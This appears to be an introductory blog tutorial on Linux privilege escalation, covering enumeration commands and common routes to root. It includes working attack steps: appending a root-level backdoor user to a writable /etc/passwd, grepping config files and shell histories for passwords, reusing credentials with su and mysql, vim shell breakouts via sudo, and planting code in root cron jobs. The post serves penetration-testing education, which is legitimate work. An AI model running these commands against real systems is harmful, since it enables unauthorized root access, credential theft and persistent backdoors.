this is a light introduction to some common privilege escalation methods in linux.

most of the time when you exploit some vulnerability in a service running on a linux box, you will get a shell as www-data , http or equivalent users with low privileges.

this is obviously a start, but we will want to get access to the root user on the machine to gain full control of it. why do we want that? because the possibilities are endless when you have root on a machine.

some things you can do with root privileges:

  • read the contents of /etc/shadow and get the password hashes (which can be cracked using a tool like hashcat or john)
  • have complete access to the filesystem (so you can read/modify anything)
  • sniff network packets (can be useful for lateral movement)
  • backdoor the machine for persistent access

and almost anything else you can image.

the idea sounds great. but we will need to first learn about the system itself.

enumeration is the most important part here, because exploitation only makes sense after doing enumeration. randomly throwing kernel exploits on machines can make them crash or start misbehaving!

table of contents

  • enumeration

    • basic system information
      • hostname
      • current ip
      • kernel and distro details
      • dns information
      • default route
      • other network information
    • user information
      • current user
      • last logged on users
      • users currently logged on
      • all users uid/gid information
      • superuser accounts
      • password policies
      • umask value
      • does /etc/passwd have any hashes
      • default uids (0, 1000, 1001, etc)
      • check current user’s shell history
      • attempt to read restricted files
    • privileged access
      • can we read /etc/sudoers
      • sudo -l
      • are any “breakout” binaries available with sudo (gtfobins)
      • can we read /root
      • list permissions of /home
    • environment variables
      • current $PATH
      • env information
    • scheduled jobs/tasks
      • check all cron jobs
      • list active/inactive systemd timers
    • running processes and services
      • network connections (TCP/UDP)
      • running processes
      • cross-check process binaries and their permissions
    • version information
      • sudo
      • installed packages
      • any other interesting process running as root
    • default/weak credentials
      • check for weak user credentials
      • check for weak service credentials (mysql, postgres etc.)
    • check for hardcoded passwords in configuration files
    • abusing suid/guid files and capabilities
  • exploitation

    • world-writable files
    • credential reuse
    • sudo rights
    • vulnerable software
    • vulnerable kernel
    • setuid binaries
    • misconfigured cron jobs


first and most important thing to do is to understand the system.

this will help us understand the environment we’re in, and increase our chances to find a valid method to escalate our privilege.

without enumerating the system properly, you will miss tons of easy privilege escalation methods.

the ordering of these commands follows some logic, but isn’t necessarily the fastest way to figure out what could be used for a privilege escalation.

basic system information

hostname # hostname
whoami # current user
ip a # show ip address
ifconfig -a # show ip address
cat /etc/issue # linux distribution
cat /etc/os-release # linux distribution
uname -a # hostname, kernel version, cpu architecture (32-bit vs. 64-bit)
dmesg | head -n1 # hostname,kernel version, cpu arch (if uname doesn't exist)
cat /etc/resolv.conf # dns information
ip r # route information
cat /etc/network/interfaces # show network config
cat /etc/sysconfig/network # show network config
iptables -xvL # show firewall rules
netstat -tuplen # show current network connections and opened ports on the machine
ss -tuplen # if 'netstat' doesn't exist

take note of the kernel and distro version since they may become relevant when choosing an exploit later on.

anything else which seems misconfigured should also be taken note of.

in netstat output you could see services running only on localhost. make a note of these and make sure to enumerate them (especially if any of them run as root) since they could also be exploitable.

users information

whoami # who am i?
id # groups
last # last logins
w # who's logged in?
who -a # who's logged in?
cat /etc/passwd # take a look here for any hashes or interesting users
cat /etc/passwd | cut -d':' -f1 # list all users
grep -vE "(nologin|false) /etc/passwd " # only print out users with shell access
umask -S && umask # current umask values
echo $HOME # home directory
ls -alR $HOME # what's inside our $HOME?
cat ~/.bash_history # bash history
cat ~/.zhistory # zsh history
cat ~/.nano_history # nano history
cat ~/.mysql_history # mysql history

cat /etc/shadow # unlikely but worth a shot
ls -al /etc/passwd # check if we can write there

take note of any other users. if you know any of the passwords (for example with your access in the exploited web app you could retrieve users hashes from a configuration file or database) then you might be able to become those users with su <username> and hopefully have higher privileges (like sudo access).

privileged access

cat /etc/sudoers # can we read? which users have sudo privileges?
sudo -l # can we use sudo? do we need a password?
ls -al /root # can we read /root?
ls -alR /home # check permissions for /home directories

if you find anything with sudo -l and NOPASSWD there’s a chance that you can escalate trivially by abusing that command. it depends on what exactly is allowed. for a great resource check out gtfobins.


echo $PATH # current value of PATH
env # display environment information

sometimes inspecting environment variables can reveals passwords, keys, or other useful information.

PATH can also be interesting, if there’s a non-standard directory in it which we have write access to. this can be used to put a malicious binary “in-place”.

scheduled jobs/tasks

crontab -l # cron jobs for this user
ls -alR /etc/cron* # show all cronjob files
cat /etc/crontab # read main crontab file

check the list of the files and see if anything sticks out. if you have read access try to read them.

a lot of the times there can be a cron job which runs a script or something, and we have write access to either that script or something that it reads or similar. this can lead to an easy privesc if the job is running as root and we control the contents of the executed script.

running processes and services

netstat -antp # which ports are services exposing?
ps aux # list all processes
ps auxfw # list processes (tree)
ps aux | grep root # list all processes running as root
top # show processes

most of the time the more interesting ones are the root-owned processes. if you can interact with those services in some way, it may be possible to abuse some functionality or use an exploit if it’s a vulnerable version.

version information

dpkg -l # (Debian/Ubuntu variants) show installed packages and versions
rpm -qa # (CentOS/RHEL) show installed packages and versions
pacman -Q # (Archlinux) show installed packages and versions

sudo -V # sudo version is especially interesting

cross-check the installed packages with the running processes to see if any vulnerable application is running on the box. you can search the versions in exploit-db to determine if they’re vulnerable.

default/weak credentials

a good place to look for such things is /home and /etc directories. /var/log directory can also leak credentials sometimes.

grep -Ri password $(find /etc -name '*.conf' 2>/dev/null) # search conf files in /etc for passwords

try in different directories:

  • /home
  • /var/log
  • /opt
  • /var/www

try with different extensions:

  • php
  • cfg
  • inc
  • log
  • txt
  • ini

and of course try different patterns:

  • pass:
  • username
  • passphrase

etc. just use your imagination.

you can also use the -A n or -B n flags for grep to print out the lines after/before the grepped string. -A 2 will usually include the password.

in my experience most of the time you’ll be able to find database credentials in /etc/ which you can try to reuse for different users.

if you found a database password you can try it for example like this:

mysql -uroot -pPASSWORD # check if you can login to mysql with PASSWORD

if you get a mysql shell, then you can check in the database for any other credentials or useful information.

(if mysql is running as root, you can also exploit some versions with user defined functions to get a shell)

abusing suid/guid files and capabilities

again gtfobins is a great resource for these.

find / -writable -type d 2>/dev/null # show writable folders
find / -writable -type f 2>/dev/null # show writable files
find / -perm -4000 -type f 2>/dev/null # search system for suid files
find / -perm -u=s -type f 2>/dev/null # search system for suid files

getcap -r / # get capabilities of binaries

you can look for uncommon suid files in the output and cross-check the common ones with gtfobins.

sometimes there’ll be binaries which can be exploited or abused in some way to get shell access.


so by now we have gained a lot of information about the system and it’s time to use our knowledge to exploit it and gain root access.

in my experience and in no specific order, some common methods are the following:

world-writable files

/etc/passwd being writable is pretty uncommon, but if it is then this is an easy win.

openssl passwd evil
echo "hacker:SGB28vgY8Us8Y:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker
Password: evil

and you should be root.

this method of adding a user can also be used if you’re able to write to /etc/passwd in some other way as well.

credential reuse

if we discover any credentials in the enumeration phase, we should try to use them against the users we discovered.

credential reuse is a real thing, and this can get you a quick root .

su root
Password: thisisthemysqlpassword

sudo rights

sometimes the user you have access to will be able to run all or some commands as root using the sudo tool.

if you noticed any sudo privileges, it’s worth taking a look at what you’re able to do with those commands or binaries.

combined with an uncommon $PATH, we can put a malicious binary or script in place and get it run as root.

or the binary itself might be able to spawn a shell somehow. for example with vim you can run :set shell=/bin/bash and then :shell to get an interactive shell. refer to gtfobins for more examples.

vulnerable software

after you’ve enumerated the running processes and the installed package versions, you can check these in exploit-db to see if any of them are vulnerable to some exploit.

if the program is running as root, is vulnerable to some exploit, and all the criteria for the exploit are fulfilled, a lot of the times this is the way to get root.

to run some exploits on locally-bound services, you might have to forward that port to your machine using ssh or other tools like 3proxy, chisel etc.

vulnerable kernel

dirtycow, half-nelson, full-nelson and other famous linux kernel exploits can be sometimes used if the kernel version is old enough.

you can search exploit-db: searchsploit <distro> <kernel version> and see what comes up.

you can also run linux-exploit-suggester to determine possible exploits for the kernel.

setuid binaries

if any uncommon setuid binaries are found, this can be a way to root if it’s some custom coded program with vulnerabilities. (like buffer overflows, command injection, etc.)

otherwise known setuid binaries can be used to escalate privileges depending on the setup and version.

and sometimes you just need to reverse a binary.

misconfigured cron jobs

if there’s any cron job running as root, and we’re able to write to the script/binary being executed (or it’s taking input from somewhere we control), we can put our malicious code and wait for the cron job to execute it.


that was it for now. i intend to write a more “complete” (i don’t think it can ever be) guide about this later on, but for now i just want to have some content on the blog at least :)

thank you for reading!